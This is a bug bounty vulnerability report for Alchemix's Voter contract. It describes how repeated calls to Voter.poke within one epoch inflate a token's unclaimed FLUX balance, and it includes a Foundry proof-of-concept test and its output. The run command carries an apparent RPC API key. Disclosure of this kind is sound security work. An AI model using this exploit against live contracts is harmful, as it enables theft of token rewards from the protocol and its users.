31386 - [SC - Critical] Malicious user can steal FLUX token by abusing ...
Submitted on May 17th 2024 at 22:21:25 UTC by @jasonxiale for Boost | Alchemix
Report ID: #31386
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol
Impacts:
Theft of unclaimed yield
Description
Brief/Intro
Malicious user can steal FLUX token by abusing Voter.poke
Vulnerability Details
In Voter.poke funciton, there is not limitation how many time it can be called within one epoch, and at the end of the function, Voter._vote
is called.
195 function poke(uint256 _tokenId) public {
...
211 _vote(_tokenId, _poolVote, _weights, _boost);
212 }
In Voter._vote, IFluxToken(FLUX).accrueFlux(_tokenId);
is calle to accrue Flux token in Voter.sol#L423
And in FluxToken.accrueFlux, the function will check the amount of claimable flux and than update FluxToken.unclaimedFlux
187 /// @inheritdoc IFluxToken
188 function accrueFlux(uint256 _tokenId) external {
189 require(msg.sender == voter, "not voter");
190 uint256 amount = IVotingEscrow(veALCX).claimableFlux(_tokenId);
191 unclaimedFlux[_tokenId] += amount;
192 }
VotingEscrow.claimableFlux is defined as:
377 function claimableFlux(uint256 _tokenId) public view returns (uint256) {
378 // If the lock is expired, no flux is claimable at the current epoch
379 if (block.timestamp > locked[_tokenId].end) {
380 return 0;
381 }
382
383 // Amount of flux claimable is <fluxPerVeALCX> percent of the balance
384 return (_balanceOfTokenAt(_tokenId, block.timestamp) * fluxPerVeALCX) / BPS;
385 }
As we can see above, claimableFlux
only calcuate the tokenId's voting power, it doesn't record if the Flux has been claimed already. So if a malicious user keep calling Voter.poke
, his tokenId's unclaimedFlux will keeping increasing.
Impact Details
Malicious user can steal FLUX token by abusing Voter.poke
References
Add any relevant links to documentation or code
Proof of Concept
Put the following code in src/test/Voting.t.sol
and run
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/0TbY2mhyGA4gLPShfh-PwBlQ3PDNUdL1 --fork-block-number 17133822 --mc VotingTest --mt testAlicePoke -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testAlicePoke() (gas: 2564522)
Logs:
getUnclaimedFlux: 1879449739964023604
getUnclaimedFlux: 2799996511899518614
getUnclaimedFlux: 3720543283835013624
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.59ms (1.90ms CPU time)
Ran 1 test suite in 1.29s (5.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As we can see from the above output, every time Alice calls Voter.poke
, her unclaimed Flux will increase.
function testAlicePoke() public {
address Alice = address(0x11001100);
uint256 tokenId = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
hevm.warp(block.timestamp + nextEpoch);
address[] memory pools = new address[](1);
pools[0] = alETHPool;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
hevm.prank(Alice);
voter.vote(tokenId, pools, weights, 0);
address[] memory poolVote = voter.getPoolVote(tokenId);
assertEq(poolVote[0], alETHPool);
// Next epoch
hevm.warp(block.timestamp + nextEpoch);
hevm.prank(Alice);
voter.poke(tokenId);
console2.log("getUnclaimedFlux: ", flux.getUnclaimedFlux(tokenId));
hevm.prank(Alice);
voter.poke(tokenId);
console2.log("getUnclaimedFlux: ", flux.getUnclaimedFlux(tokenId));
hevm.prank(Alice);
voter.poke(tokenId);
console2.log("getUnclaimedFlux: ", flux.getUnclaimedFlux(tokenId));
}
Last updated
Was this helpful?